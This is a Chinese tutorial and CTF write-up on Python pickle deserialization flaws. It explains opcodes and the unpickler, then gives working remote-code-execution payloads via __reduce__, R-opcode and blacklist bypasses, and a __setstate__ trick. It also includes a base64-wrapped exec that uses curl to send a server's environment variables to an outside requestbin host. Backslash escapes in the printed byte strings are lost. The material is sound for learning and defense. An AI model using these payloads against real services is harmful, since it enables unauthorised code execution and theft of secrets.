pickle反序列化漏洞
Python序列化和反序列化
序列化:把一个类对象转化为字节流
- 1. 从对象提取所有属性,并将属性转化为名值对
- 2. 写入对象的类名
- 3. 写入名值对
在python中,一般可以使用pickle类来进行python对象的序列化,而cPickle提供了一个更快速简单的接口。cPickle可以对任意一种类型的python对象进行序列化操作,比如list,dict,甚至一个类的对象等。而所谓的序列化,可理解就是为了能够完整的保存并能够完全可逆的恢复
- 1. dump:将python对象序列化保存到本地的文件夹
import cPickle
dump函数需要指定两个参数,第一个是需要序列化的python对象名称,第二个是本地的文件,需要注意的是,在这里需要使用open'函数打开一个文件,并指定“写”操作
data = range(1000)
cPickle.dump(data,open("text\data.pkl","wb")) - 2. load:载入本地文件,恢复python对象
data = cPickle.load(open("text\data.pkl","rb"))
- 3. dumps:将python对象序列化保存到一个字符串变量中
data_string = cPickle.dumps(data)
反序列化:将字节流转化为原始对象
- 1. 获取pickle输入流
- 2. 重建属性列表
- 3. 根据类名创建一个新的对象
- 4. 将属性复制到新对象中
- 5. load:载入本地文件,恢复python对象
data = cPickle.load(open("text\data.pkl","rb"))
- 6. loads:从字符串变量中载入python对象
data = cPickle.loads(data_string)
python的序列化的目的是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易的方式
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
指令处理器
从流中读取opcode和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
stack (栈)
由Python的list实现,被用来临时存储数据、参数以及对象
memo
由Python的dict实现,为PVM的整个生命周期提供存储
pickle.dumps(obj):
把obj对象序列化后以bytes对象返回,不写入文件
pickle.loads(bytes_object):
从bytes对象中读取一个反序列化对象,并返回其重组后的对象
什么类型可以序列化和反序列化
- 1. None、True和False
- 2. 整形、浮点、复数
- 3. strings、bytes、bytearrays
- 4. 元组、列表、集合、和只包含可序列化对象的字典
- 5. 定义再模块顶层的函数(lambda表达式不可以)
- 6. 定义在模块顶层的内建函数
- 7. 定义在模块顶层类
- 8. instances of such classes whose
__dict__
or the result of calling__getstate__()
is picklable
简单的字符类型的反序列化
import pickle
data = "DMIND"
p1 = pickle.dumps(data) # dumps 序列化
print(p1)
p2 = pickle.loads(p1) # loads 反序列化
print(p2)
输出:
b'x80x03Xx05x00x00x00DMINDqx00.'
DMIND
- 1. x80: 表示一个操作码, 同时声明pickle的版本
- 2. x03: 代表版本为3
- 3. X:从一个X后的四个字节表示一个数字,x05x00x00x00 表示5 ,指的是后面UTF-8编码的字符串的长度
- 4. DMIND 是UTF-8编码过的字符串
- 5. x00 : 表示结束
类的反序列化
import pickle
class DMIND:
DD = 'ok'
def hello(self):
return self.DD
obj = DMIND()
p1 = pickle.dumps(obj) # 序列化
print(p1)
p2 = pickle.loads(p1) # 反序列化
print(p2)
输出:
b'x80x03c__main__nDMINDnqx00)x81qx01.'
<__main__.DMIND object at 0x000001C022659048>
- 1. c:表示导入模块中的标识符
- 2.
__main__nDMIND
: 模块和标识符之间用n隔开,那么这里的意思是导入了main模块中的D类 - 3. qx00:代表了DMIND类在memo的索引
- 4. ):在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空
- 5. x81:操作符,该操作符调用
cls.__new__
方法来建立对象,该方法接受前面tuple中的参数,本例中为空
__reduce__
这个方法用来表明一个对象应当如何序列化
__reduce__() 方法不带任何参数,并且应返回字符串或最后返回一个元组(返回的对象通常称为一个reduce值)
魔术方法有两种返回值:1.字符串、2.元组
如果返回类型是:元组,则应当包含2到6个元素,可选元素可以省略或设置为None
第一个元素是一个可调用对象
第二个元素作为第一个元素的参数使用。其实是一个元组,如果可调用对象(即第一个元素)不接受参数,必须提供一个空元组
__reduce__
魔术方法的返回值是tuple类型时就可以实现任意代码执行
import pickle
import os
class A(object):
def __reduce__(self):
cmd = "whoami" # 命令
return (os.system,(cmd,))
a = A()
pickle_a = pickle.dumps(a) # 序列化
print(pickle_a)
pickle.load(pickle_a) # 反序列化时触发了代码执行
只要执行反序列化操作就触发了代码执行
Python反序列化漏洞
成因:当传入了不安全的反序列化函数的内容,就会产生反序列化漏洞,造成任意代码执行。
通常出现在解析认证token,session的时,flask配合redis在服务器存储session的情景。
这里的session是被pickle序列化进行存储的,如果你通过cookie进行session-id的话,session中的内容就会被反序列化,看似好像是没有什么问题。因为session是存储在服务端的,但是终究是抵不住redis的未授权访问,如果出现未授权的话,我们就能通过set设置自己的session,然后通过设置cookie去请求session的过程中我们自定的内容就会被反序列化,然后我们就达到了执行任意命令或者任意代码的目的
pickle 的意义 存储字符串比存储对象方便得多
对于自己定义的class,如果直接以形如date = 20191029的方式赋初值,则这个date不会被打包,解决方法是写一个__init__
方法
import pickle
class dairy():
date = 20191029
text = "今天哈尔滨冻死人QAQ"
todo = ['大物实验报告','CTF题','CSAPP作业']
x = dairy()
print(pickle.dumps(x))
b'x80x03c__main__ndairynqx00)x81qx01'
class dairy():
def __init__(self):
self.date = 20191029
self.text = "今天哈尔滨冻死人了QAQ"
self.todo = ['大物实验报告','CTF题','CSAPP作业']
x = dairy()
print(pickle.dumps(x))
b'x80x03c__main__ndairynqx00)x81qx01}qx02(Xx04x00x00x00dateqx03J5x)
pickle.loads机制:调用_Unpickler类
pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler类。代码实现如下
可以看出, _load和_loads
基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler
类;然后调用_Unpickler.load()
实现反序列化
所以就要弄清楚_Unpickler类的源码
_Unpickler类
在反序列化过程中,_Unpicker
维护了两个东西:栈区和存储区。结构如下:
栈是unpickler类最核心的数据结构,所有的数据操作几乎都在栈上。为了对应数据嵌套,栈区分为两个部分:当前栈和前序栈
当前栈:专注于维护最顶层的信息。
前序栈:维护下层的信息。
存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西
pickletools (调试器)
pickletools是python自带的pickle调试器,有三个功能:
反汇编一个已经被打包的字符串
优化一个已经被打包的字符串
返回一个迭代器来供程序使用
class dairy():
def __init__(self):
self.date = 20191029
self.text = "今天哈尔滨冻死人了QAQ"
self.todo = ['大物实验报告','CTF题','CSAPP作业']
x = dairy()
s = pickle.dumps(x)
print(s)
pickletools.dis(s)
这就是反汇编功能:解析这个字符串,然后告诉你这个字符串干了什么。每一行都是一个指令
解读pickle
字符串中包含了很多条指令。这些指令一定以一个字节码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数,参数的结束标识符等)。指令码是紧凑的,一条指令结束之后立刻就是下一条指令
分析一个例子:
import pickle
class Student():
def __init__(self):
self.name = 'rxz'
self.grade = 'G2'
字符串的第一个字节是x80,当机器看到这个操作符时,立刻再去读取字符串读取一个字节,得x03
解释为:这是一个依据3号协议序列化的字符串
机器读取下一个字符作为操作符 c 。这个操作符(称为GLOBAL)操作符 对我们以后的工作非常有用——它连续读取两个字符串 module 和name ,规定以n 为分割;接下来把module.name这个东西压进栈。 在这里 读到的两个字符串分别是 `__main__`和`Student` ,于是把`__main___.Student`扔进栈里
GLOVABL操作符读取全局变量,是使用
find_class
函数,而find_class
对于不同的协议版本实现也是不一样的。总之,它干的事情是 ”去x模块找到y“,y必须在x的顶层(也即 y不能再嵌套的内层)
x80x03c__main__nStudentn)x81}(VnamenVrxznVgradenVG2nub.
`)`操作符:作用是”把一个空的tuple压入当前栈“。
`x81`操作符: 作用是”从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls 接着执行 `cls.__new__(cls,*args)`,然后把得到的东西压进栈。 也就是 从栈中弹出一个参数和一个class ,然后利用这个参数去实例化class, 把得到的实例压进栈
到这里 栈里面有一个元素——它是实例化的Student对象,目前这里面怎么都没有,因为当初实例化它的时候,args是一个空的数组
接着程序读入一个} ,它的意思是“把一个空的dict压进栈”。然后是MARK操作符,这个操作符干的事情称为load_mark
:
- • 把当前栈这个整体,作为一个list,压进前序栈。
- • 把当前栈清空 前序栈保存了程序运行至今的(不在顶层的)完整的栈信息,而当前栈专注于处理顶层的事件 到这里还要介绍另一个操作——
pop_mark
。它没有操作符,只供其他的操作符来调用。干是事情是load_mark
的反向操作: - • 记录一下当前栈的信息,作为一个list,在
load_mark
结束时返回 - • 弹出前序栈的栈顶,用这个list来覆盖当前栈
load_mark
相当于进入一个子过程,而pop_mark
相当于从子过程退出,并且把栈恢复成调用子过程之前的情况,所有与栈的切换相关的事情,都靠调用这两个方法来完成。因此load_mark
和pop_mark
是栈管理的核心方法
回到我们这个程序,继续看MARK之后的内容:
x80x03c__main__nStudentn)x81}(VnamenVrxznVgradenVG2nub.
下一个操作符是 V 。它的意义是:读入一个字符串,以n结尾;然后把这个字符串压进栈中。我们看到这里有四个 V 操作,它们全都执行玩的时候,当前栈里面的元素是:(由底层到顶层)`name,rxz,grade,G2`.前序栈只有一个元素,是一个list 这个list里面有两个元素:一个是空的Student实例,以及一个空的idct
下面是 u 操作符。它干这样的事情:
- • 调用
pop_mark
也就是说,它当前栈的内容扔进一个数组arr,然后把当前栈恢复到MAEK是的状态。执行完成之后, arr = ['name','rxz','grade','G2']; 当前栈里面存的是__main__.Student
这个类,一个空的dict - • 拿到当前栈的末尾元素,规定必须是一个dict这个读到了栈顶的那个空dict
- • 两个一组地读arr里面的元素,前者作为key ,后者作为value,存进上一条所述的dict 模拟一下这个过程,发现原先是空的那个dict现在编程了{'name': 'rxz', 'grade': 'G2'}这个dict,所以现在,当前栈里面的元素是
__main__.Student
的一个空的实例,和{'name': 'rxz', 'grade': 'G2'}这个dict。下一个指令码是b,也就是BUILD指令。它干是事情是: - • 把当前栈栈顶存进state,然后弹掉
- • 把当前栈栈顶记为inst,然后弹掉
- • 利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈
这里更新实例的方式是:如果inst拥有__setstate__
方法,则把state交给__setstate__
方法来处理;否则的化,直接把state这个dist的内容,合并到inst.__dict__
里面。
上面的事情干完之后,当前栈里面只剩下了一个实例——它的类型是`__main__.Student`,里面name值是rxz ,grade值是G2.
下一个指令是 . (STOP)命令,pickle的字符串以它结尾,意思是:“当前栈顶元素就是反序列化的最终结果,把它弹出
import pickle
class Student():
def __init__(self):
self.name = 'rxz'
self.grade = 'G2'
s = b'x80x03c__main__nStudentn)x81}(VnamenVrxznVgradenVG2nub.'
res = pickle.loads(s)
print(f"type = {type(res)} name ={res.name} grade = {res,grade}")
输出
type = <class '__name__.Student'> name = rxz grade = G2
__reduce__
它的命令码是 R , 干了这么一件事:
- • 取当前栈的栈顶记为args,然后把它弹掉
- • 取当前栈的栈顶记为f ,然后把它弹掉
- • 以args 为参数,执行 函数 f ,把结果压进当前栈 class的
__reduce__
方法,在picke反序列化的时候会被执行。其底层的编码方法就是利用了R 指令码。f要么返回字符串,要么返回一个tuple,后者对我们而言更有用。一种流行的攻击思路是:利用__reduece__
构造恶意字符串,当这个字符串被反序列化的时候,__reduce__
会被执行。
举个例子:
正常的字符串反序列化后,得到一个Student对象。我们想构造一个字符串,它在反序列化的时候,执行 ls / 指令/
import pickle
import os
class Student():
def __init__(self):
self.name = 'rxz'
self.grade = 'G2'
def __reduce__(self):
return (os.system,('ls /'))
payload = pickle.dumps(Student())
print(payload)
把payload拿给正常的程序(Student类里面没有__reduce__
方法)去解析:
即使 Student类是正常的,pickle.loads仍然执行了os.system('ls /')
一道题目
[watevrCTF-2019]Pickle Store
看到session很长 想到是不是这里面存了信息
反弹shell
如果__reduce__
被过滤
绕过函数黑名单
有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。
比如
2018-XCTF-HITB-WEB : Python's-Revenge这个题
有黑名单
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
这里 python有个map函数
所以我们可以这样
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])
如此看来,要禁掉reduce,如不禁掉R指令码
R指令码被禁
这里有道题,彻底过滤了R指令码
只要payload里面有R这个字符,就直接驳回
import pickle
import base64
class Student():
def __init__(self,name,grade):
self.name = name
self.grade = grade
def __eq__(self,other):
return type(other) is Student and
self.name == other.name and
self.grade == other.grade
print(pickle.dunps(Student('rxz','Gs')))
import blue
def check(data):
if b'R' in data:
return 'no reduce!'
x = pickle.loads(data)
if(x !=Student(blue.name,blue.grade)):
return 'Not equal >_<'
return 'well done!'
print(check(base64.b64decode(input())))
这里要返回well done 需要:
给出一个字符串,反序列化后,name和grade需要与blue这个module里面的name、grade相对应
这里不能使用R指令码,但是还有c指令码 :来获取一个全局变量。我们先看一下 正常的Student 序列化的结果
以name为例,只需要把编码后的rxz改成从blue里面引入name,
所以用c指令码就是 cbluennamen
然后把用于编码rxz的Xx03x00x00x00rxz
特换成我们这个Global指令
把这个payload进行base64编码传进题目,得到well done
绕过c指令module限制:先读入,再篡改
前面说过,c指令(GLOBAL指令)是基于find_class
这个方法,而find_class
可以被出题人重写。如果出题人只允许c指令包含__main__
这一个module
通过GLOBAL指令引入的变量,可以看作是变量的引用。我们在栈上修改它的值,会导致变量也被修改
所以我们可以这样
- • 通过
__main__.blue
引入这个module,由于命名空间还在main内,故不会拦截 - • 把一个dict压进栈,内容是{'name':'rua','grade':'www'}
- • 执行BUILD指令,会导致改写
__main__.blue.name
和__main__.blue.grade
,至此 blue.name 和 blue.grade已经被篡改成我们想要的内容 - • 弹掉栈顶,现在栈变成空的
- • 照抄正常的Student序列化之后的字符串,压入一个正常的Student对象,name和grade分别为’rua‘和’www‘
- • 由于栈顶是正常的Student对象,pickle.loads将会正常返回。到手的Student对象,当然name和grade都与blue.name、blue.grade对应了——我们刚刚把blue给改掉了
把当前栈栈顶存进
state
,然后弹掉。把当前栈栈顶记为
inst
,然后弹掉。利用
state
这一系列的值来更新实例inst
。把得到的对象扔进当前栈
所以构造出来的payload是
payload = b'x80x03c__main__nbluen}(VnamenVruanVgradenVwwwnub0c__main__nStudentn)x81}(Xx04x00x00x00nameXx03x00x00x00ruaXx05x00x00x00gradeXx03x00x00x00wwwub.'
返回了well done 看到blue.grade也变成了www
不使用reduce,也能RCE
上面说 __reduce__
与R指令绑定,禁止了R指令就禁止了__reduce__
方法
现在的目标是,利用指令码,构造出任意命令执行,那么我们需要找一个函数调用fun(arg) 其中 fun和arg必须可控
审pickle源码,看看BUILD指令(指令码b)是如何工作的:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) ==2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = system.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k,v)
这里的实现方法也就是前面说的:如果inst拥有`__setstate__`方法,则把state交给`__setstate__`方法来处理;否则的话,直接把state这个dist的内容,合并到`inst.__dict__`里面。
这里的隐患:
Student原先是没有__setstate__
这个方法的。那么我们利用{'__setatate__': os.system}
来BUILD这个对象,那么现在对象的__setstate__
就变成了os.system; 接下来利用 ls / 来再次BUILD这个对象,则会执行setstate("ls /"),而此时__setstate__
已经被我们设置为os.system ,因此实现了RCE
payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb.'
这里 上面的payload由于没有返回一个Student,导致后面抛出异常。要让后面无异常:
干完恶意代码之后把栈弹到空,然后压一个正常的Student进栈
payload = b'x80x03c__main__nStudentn)x81}(V__setstate__ncosnsystemnubVls /nb0c__main__nStudentn)x81}(Xx04x00x00x00nameXx03x00x00x00ruaXx05x00x00x00gradeXx03x00x00x00wwwub.'
[HZNUCTF 2023 preliminary]pickle
打开页面
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0')
可以看到 在/calc 下 get一个 payload 会将它反序列化 而且禁用了os
另一个/readFile 下 get一个文件名(filename) 他会替换文件名的flag 然后读出文件
可以考虑
在/calc下读它的环境变量 然后写到a文件中 然后 ,再在/readFile下传入a文件就能读到它的环境变量了
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__('o'+'s').system('env | tee a')",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
env | tee a
这个代码是在 Python 中调用操作系统的 “system” 函数,并传递一个字符串作为参数。
在这个字符串中,“env” 命令输出当前进程的环境变量和值,“|” 符号将输出内容重定向到 “tee” 程序中,而 “tee” 程序则将数据流同时输出到控制台和文件 “a” 中。
因此,这行代码的作用是在 Python 程序中执行 Shell 命令,从而在屏幕上和文件中记录当前进程的环境变量。
另一种是通过exec套娃和curl 外带的方式
import os
import pickle
import base64
actual_payload = '''
import os
os.system('curl -X POST -d "fizz=`env`" http://http.requestbin.buuoj.cn/1k26kqs1')
'''
encoded_payload = base64.b64encode(actual_payload.encode()).decode()
class RCE:
def __reduce__(self):
cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));'
return exec, (cmd,)
a = RCE()
payload = base64.b64encode(pickle.dumps(a))
print(payload)
my_raw = base64.b64decode(payload)
print(my_raw)
curl -X POST -d "fizz=
env" http://http.requestbin.buuoj.cn/1k26kqs1
该命令使用curl命令向http.requestbin.buuoj.cn的1k26kqs1端点发送一个POST请求,并将当前主机的所有环境变量的值作为fizz参数的值传递。可以在http://http.requestbin.buuoj.cn/1k26kqs1
这个网址上查看请求的结果
原文始发于微信公众号(SKSEC):【表哥有话说 第94期】pickle反序列化漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论